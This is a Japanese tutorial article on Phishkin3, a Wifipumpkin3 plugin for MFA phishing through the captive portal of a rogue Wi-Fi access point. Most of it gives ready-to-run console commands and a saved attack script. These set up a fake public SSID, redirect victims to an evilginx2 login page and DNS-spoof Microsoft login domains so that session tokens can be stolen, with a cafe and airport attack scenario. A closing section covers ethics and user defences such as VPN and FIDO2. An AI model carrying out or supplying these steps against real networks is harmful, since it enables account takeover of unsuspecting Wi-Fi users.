キャプティブポータルを活用したMFAフィッシングの世界へようこそ
サイバーセキュリティの世界は常に進化しており、攻撃手法も巧妙化しています。近年、特に注目されているのが、公共Wi-Fiなどを悪用した中間者攻撃(Man-in-the-Middle, MitM)と組み合わせたフィッシング攻撃です。この記事では、強力な無線LAN攻撃フレームワークであるWifipumpkin3のプロキシ機能の一つ、Phishkin3に焦点を当て、その機能と使い方を詳しく解説します。
Phishkin3は、特に多要素認証(MFA)をターゲットとしたフィッシング攻撃を、キャプティブポータル(公衆無線LANなどで最初に表示される認証ページ)経由で実行するために設計されたプロキシです。これにより、従来のフィッシング攻撃よりも高度で検知されにくい攻撃が可能になります。😈
Phishkin3とは何か? 🤔
Phishkin3は、独立したツールではなく、Wifipumpkin3フレームワークの一部として提供されるプロキシプラグインです。Wifipumpkin3は、Pythonで書かれた強力な不正アクセスポイント(Rogue AP)攻撃フレームワークであり、セキュリティ研究者やレッドチームがMitM攻撃を実行するために無線ネットワークを構築することを可能にします。
Wifipumpkin3自体が持つ主な機能には以下のようなものがあります:
- 不正アクセスポイント攻撃
- 中間者攻撃(MitM)
- 認証解除(Deauthentication)攻撃モジュール
- 追加のCaptiveFlaskテンプレート用モジュール
- 不正DNSサーバー
- キャプティブポータル攻撃(CaptiveFlask)
- Webトラフィックの傍受、検査、改ざん、再生
- Wi-Fiネットワークスキャン
- DNS監視サービス
- 認証情報収集
- 透過的プロキシ
- LLMNR, NBT-NS, MDNS ポイズニング (Responder3)
- Phishkin3 (キャプティブポータル経由のMFAフィッシング攻撃サポート) ✨
- EvilQR3 (QRコードフィッシング攻撃サポート)
- RestFulAPI
このリストからもわかるように、Phishkin3はWifipumpkin3の豊富な機能群の一つとして位置づけられています。具体的には、Wifipumpkin3で作成した不正APに接続してきたユーザーに対し、キャプティブポータルを通じてMFA認証を要求するような偽のログインページへリダイレクトさせ、認証情報(パスワードやセッショントークンなど)を窃取することを目的としています。
Phishkin3は、Wifipumpkin3のバージョン1.1.7 “Gao”(2023年11月15日リリース)で、EvilQR3と共に追加された比較的新しい機能です。
前提条件とインストール 🛠️
Phishkin3を使用するには、まずWifipumpkin3が正しくインストールされ、動作する環境が必要です。
必要なもの
- Linux環境: Wifipumpkin3は主にLinux(特にKali Linuxなど)で動作するように設計されています。(2024年1月現在) WindowsやmacOSは公式にはサポートされていません。
- Python: Python 3.8以降が必要です。Python 3.7以前のバージョンでは動作しない可能性があります。
- Wi-Fiアダプター: アクセスポイント(AP)モードをサポートする無線LANアダプターが必要です。また、インターネット接続を提供するため、可能であれば2つのWi-Fiインターフェース(内蔵+外部USBアダプターなど)があると理想的です。一部のスマートフォン(例: Xiaomi Mi 9T)の内蔵チップセットが仮想インターフェースをサポートしている場合、外部アダプターなしで利用できる可能性もあります。
- 依存関係: 必要なライブラリやツール(`hostapd`, `iptables`, `dnsmasq` など多数)をインストールする必要があります。
インストール手順
Wifipumpkin3のインストール方法はいくつかありますが、代表的な方法を以下に示します。
方法1: Kali Linuxリポジトリからインストール (推奨)
Kali Linux (2022.2以降) を使用している場合、aptコマンドで簡単にインストールできます。
sudo apt update
sudo apt install wifipumpkin3
方法2: GitHubからクローンしてインストール
最新版を利用したい場合や、他のLinuxディストリビューションで使用する場合は、GitHubリポジトリからソースコードを取得してインストールします。
まず、依存関係をインストールします(ディストリビューションによってパッケージ名が異なる場合があります)。Debian/Ubuntu系の場合:
sudo apt update
sudo apt install python3-dev libssl-dev libffi-dev build-essential python3-pip git
# Wifipumpkin3が必要とするPythonライブラリなどをインストール
# (依存関係は多岐にわたるため、エラーが出たら適宜追加してください)
sudo pip3 install -r requirements.txt # requirements.txt はクローン後に配置
次に、リポジトリをクローンし、インストールを実行します。
git clone https://github.com/P0cL4bs/wifipumpkin3.git
cd wifipumpkin3
sudo python3 setup.py install
# または make を使う場合 (Makefileが存在する場合)
# sudo make install
インストールが完了したら、`sudo wp3` コマンドでWifipumpkin3を起動できるか確認しましょう。
💡 ヒント: Wifipumpkin3は多くの依存関係を持っています。Kali Linux以外の環境では、依存関係の解決に手間がかかることがあります。公式ドキュメントやGitHubリポジトリのIssueを参考に、必要なパッケージをインストールしてください。
公式ドキュメント (インストール): https://wifipumpkin3.github.io/docs/getting-started/
GitHubリポジトリ: https://github.com/P0cL4bs/wifipumpkin3
Phishkin3の使い方 🚀
Phishkin3はWifipumpkin3のプロキシとして動作します。基本的な流れは、Wifipumpkin3で不正APを設定し、プロキシとしてPhishkin3を選択、そして必要に応じてフィッシングサイトへのリダイレクト設定を行う、という形になります。
Wifipumpkin3はMetasploitライクなインターフェースを持っています。以下に基本的なコマンドとPhishkin3の設定例を示します。
1. Wifipumpkin3の起動
sudo wp3
これにより、Wifipumpkin3のコンソールが起動します。
2. 不正アクセスポイント(AP)の設定
まず、攻撃に使用する無線インターフェースを指定し、APの設定を行います。
wp3 > set interface wlan0 # wlan0 はAPモード対応のインターフェース名に置き換える
wp3 > set ssid "Free Public WiFi" # 偽装するAPのSSIDを設定
# 必要に応じて他のAPパラメータ(チャンネル、セキュリティなど)も設定
# 例: set channel 6
wp3 > ap # 現在のAP設定を確認
3. Phishkin3プロキシの有効化
利用可能なプロキシを確認し、Phishkin3を選択して有効化します。
wp3 > proxies # 利用可能なプロキシ一覧を表示
wp3 > set proxy phishkin3 # phishkin3 プロキシを選択
wp3 > proxies # 再度確認して phishkin3 が選択されているかチェック
4. Phishkin3の設定 (リダイレクト先URLなど)
Phishkin3の最も重要な設定は、ユーザーをリダイレクトさせるフィッシングサイトのURLです。これは通常、別のサーバーでホストされている偽のログインページ(例えば、evilginx2のようなツールで作成されたもの)になります。
wp3 > set phishkin3.redirect_url https://your-phishing-domain.com/login # 偽のログインページのURLを設定
# オプション設定例:
# ログイン成功後にインターネットアクセスを許可する際のエンドポイントパスを変更 (デフォルトは /verify)
# wp3 > set phishkin3.allow_user_login_endpoint /auth/finish
# プロキシがリッスンするポートを設定 (デフォルトは8080)
# wp3 > set phishkin3.port 8080
5. DNSスプーフィングの設定 (必要に応じて)
Phishkin3とevilginx2などを組み合わせて使用する場合、被害者がフィッシングサイトのドメイン名を正しく解決できるように、Wifipumpkin3のDNSサーバーで名前解決を偽装(DNSスプーフィング)する必要があります。
まず、攻撃対象のドメイン(例: login.microsoftonline.com など、evilginx2で設定したもの)と、それを解決させるevilginx2サーバーのIPアドレスを関連付けます。
wp3 > use dns.spoof # DNS Spoof モジュールを選択
wp3 > set dns.spoof.domains login.microsoftonline.com, other.domain.com # evilginx2 で使用するドメインを設定
wp3 > set dns.spoof.address 192.168.100.5 # evilginx2 サーバーのIPアドレスを設定
wp3 > run # DNS Spoof モジュールを実行 (攻撃開始前に実行しておく)
あるいは、`set spoof.dns true` や、より詳細な設定コマンドがあるかもしれません(バージョンによってコマンド体系が変わることがあります)。help dns.spoof
などで利用可能なコマンドを確認してください。
補足: Wifipumpkin3 + evilginx2 の連携に関する詳細な解説記事 (2024年3月27日公開) によると、Wifipumpkin3の内部DNSサーバーが、設定されたドメインをevilginx2サーバーへ向けるように設定する必要があるとのことです。
6. 攻撃の開始
すべての設定が完了したら、不正APとプロキシを起動して攻撃を開始します。
wp3 > start
これにより、指定したSSIDのWi-Fiネットワークが公開され、接続してきたユーザーはPhishkin3プロキシを経由することになります。ユーザーがWebブラウザを開いたり、OSがキャプティブポータルのチェックを行うと、設定した`redirect_url`(フィッシングサイト)へリダイレクトされます。
7. 攻撃の停止
攻撃を停止するには、コンソールで `Ctrl+C` を押すか、`stop` コマンドを入力します。
wp3 > stop
設定の保存と読み込み (.pulp スクリプト)
一連の設定を毎回入力するのは手間がかかります。Wifipumpkin3では、設定コマンドを `.pulp` という拡張子のファイルに保存し、起動時に読み込ませることができます。
例 (`my_phishkin3_attack.pulp`):
set interface wlan1
set ssid "Secure Corporate WiFi"
set proxy phishkin3
set phishkin3.redirect_url https://phishing.example.com/mfa-login
set phishkin3.allow_user_login_endpoint /auth/complete
# DNS Spoof 設定などもここに追加
use dns.spoof
set dns.spoof.domains login.corporate.com
set dns.spoof.address 10.0.0.5
run
# 最後に AP を開始
start
このファイルを読み込んでWifipumpkin3を起動するには:
sudo wp3 -p my_phishkin3_attack.pulp
攻撃シナリオ例:公共Wi-FiでのMFA認証情報窃取 🎣
Phishkin3を使った典型的な攻撃シナリオは以下のようになります。
- 準備: 攻撃者はevilginx2などのツールを使って、ターゲットとするサービス(例: Microsoft 365, Google Workspace)の偽ログインページを外部サーバーにセットアップします。このページはMFA認証(SMS、Authenticatorアプリなど)も処理できるように設定されています。
- 不正AP設置: 攻撃者はカフェや空港などの公共の場所で、Wifipumpkin3とPhishkin3を使って、正規のWi-Fiネットワークを装った不正AP(例: “Airport Free WiFi”)を設置します。Phishkin3の`redirect_url`には、準備した偽ログインページのURLを設定します。
- 被害者の接続: 被害者がスマートフォンやPCでその不正APに接続します。
- キャプティブポータル表示: 接続後、デバイスはインターネット接続を確認しようとし、キャプティブポータルの検出機能が働きます。Phishkin3はこの通信を傍受し、HTTP 302リダイレクト応答を返して、被害者のブラウザを偽ログインページへ誘導します。
- 認証情報の入力: 被害者は、インターネットに接続するためにログインが必要だと考え、表示された偽ログインページ(本物そっくりに見える)にユーザー名とパスワードを入力します。
- MFA処理: 偽ログインページ(evilginx2)は入力された認証情報を本来のサービスへ送信し、MFAの要求を被害者に中継します。被害者がMFAコードなどを入力すると、それもevilginx2経由で本来のサービスに送られます。
- セッション情報の窃取: 認証が成功すると、evilginx2は正規サービスから発行されたセッショントークン(クッキーなど)を窃取します。攻撃者はこのセッショントークンを使って、被害者のアカウントに不正アクセスします。
- アクセス許可 (オプション): 攻撃者は、認証情報窃取後、被害者を正規のインターネットへ接続させるか、あるいは別のページ(例:「接続が完了しました」ページ)へリダイレクトさせることがあります。Phishkin3では、特定のパス(デフォルト `/verify`、`phishkin3.allow_user_login_endpoint`で変更可能)へのアクセスをトリガーとして、被害者のデバイスにインターネットアクセスを許可する機能があります。これにより、被害者に怪しまれにくくします。
このシナリオの恐ろしい点は、MFAを有効にしていても、リバースプロキシ型フィッシング (evilginx2など) と組み合わせることでセッショントークンが窃取され、アカウントが乗っ取られる可能性があることです。そしてPhishkin3は、その入口となるキャプティブポータルでのリダイレクトを容易にします。😱
倫理的考察と防御策🛡️
Phishkin3やWifipumpkin3のようなツールは、セキュリティ専門家がネットワークの脆弱性を評価し、防御策をテストするために非常に有用です。しかし、悪意のある者によって、深刻なプライバシー侵害や金銭的損害を引き起こすために使われる可能性も十分にあります。
利用上の注意点 (再掲)
- 許可を得た環境でのみ使用する: 自分自身が管理するネットワークや、明確な許可を得たネットワークでのみテストを行ってください。
- 法律と倫理の遵守: 不正アクセス禁止法などの関連法規を遵守し、倫理的な配慮を持ってツールを使用してください。
- 目的の明確化: 教育、研究、脆弱性診断など、正当な目的のためにのみ使用してください。
ユーザーができる防御策
このような攻撃から身を守るために、以下の点に注意しましょう。
- 公共Wi-Fiの利用は慎重に: 見慣れないSSIDや、パスワードなしで接続できるオープンなWi-Fiには注意が必要です。特に重要な通信(オンラインバンキング、社内システムへのアクセスなど)は、信頼できないWi-Fi経由で行わないようにしましょう。
- VPNの使用: 公共Wi-Fiを利用する際は、VPN(仮想プライベートネットワーク)を使用することで、通信が暗号化され、MitM攻撃のリスクを低減できます。
- HTTPSの確認: Webサイトにアクセスする際は、URLが `https://` で始まっているか、ブラウザのアドレスバーに鍵マークが表示されているかを確認しましょう。ただし、evilginx2のような高度な攻撃では、正規のSSL証明書が使われているように見える場合もあるため、これだけでは万全ではありません。
- キャプティブポータルに注意: Wi-Fi接続後に表示されるログインページが、公式サイトに見えても安易に信用せず、URLなどをよく確認してください。少しでも怪しいと感じたら、認証情報の入力は避けましょう。
- フィッシング対策トレーニング: 不審なメールやWebサイトを見分ける訓練を受けることは、あらゆるフィッシング攻撃に対する基本的な防御策となります。
- 強力なパスワードとMFA: 推測されにくい複雑なパスワードを使用し、可能な限りMFAを有効にしましょう。ただし、上記シナリオのようにMFAを突破する攻撃も存在するため、他の対策と組み合わせることが重要です。
- セキュリティソフトの利用: 最新のセキュリティソフトは、既知のフィッシングサイトへのアクセスをブロックしたり、悪意のあるソフトウェアのダウンロードを防いだりするのに役立ちます。
- FIDO2/WebAuthnの使用: パスワードレス認証規格であるFIDO2/WebAuthn(セキュリティキーや生体認証を使用)は、従来のパスワード+MFAよりもフィッシング耐性が高いとされています。対応しているサービスでは積極的に利用を検討しましょう。
まとめ ✨
Phishkin3は、Wifipumpkin3フレームワークの強力な機能拡張であり、キャプティブポータルを利用した高度なMFAフィッシング攻撃を可能にします。evilginx2のようなリバースプロキシ型フィッシングツールキットと組み合わせることで、非常に効果的な攻撃が実現できてしまいます。
セキュリティ専門家にとっては、このような攻撃手法を理解し、テストすることで、より堅牢な防御策を構築するための知識を得ることができます。一方で、一般ユーザーにとっては、公共Wi-Fiの利用におけるリスクを再認識し、VPNの利用や不審なログインページへの警戒といった自衛策を講じることが不可欠です。
ツールの利用は常に倫理と法規を遵守し、安全なインターネット利用を心がけましょう。🛡️💻
コメント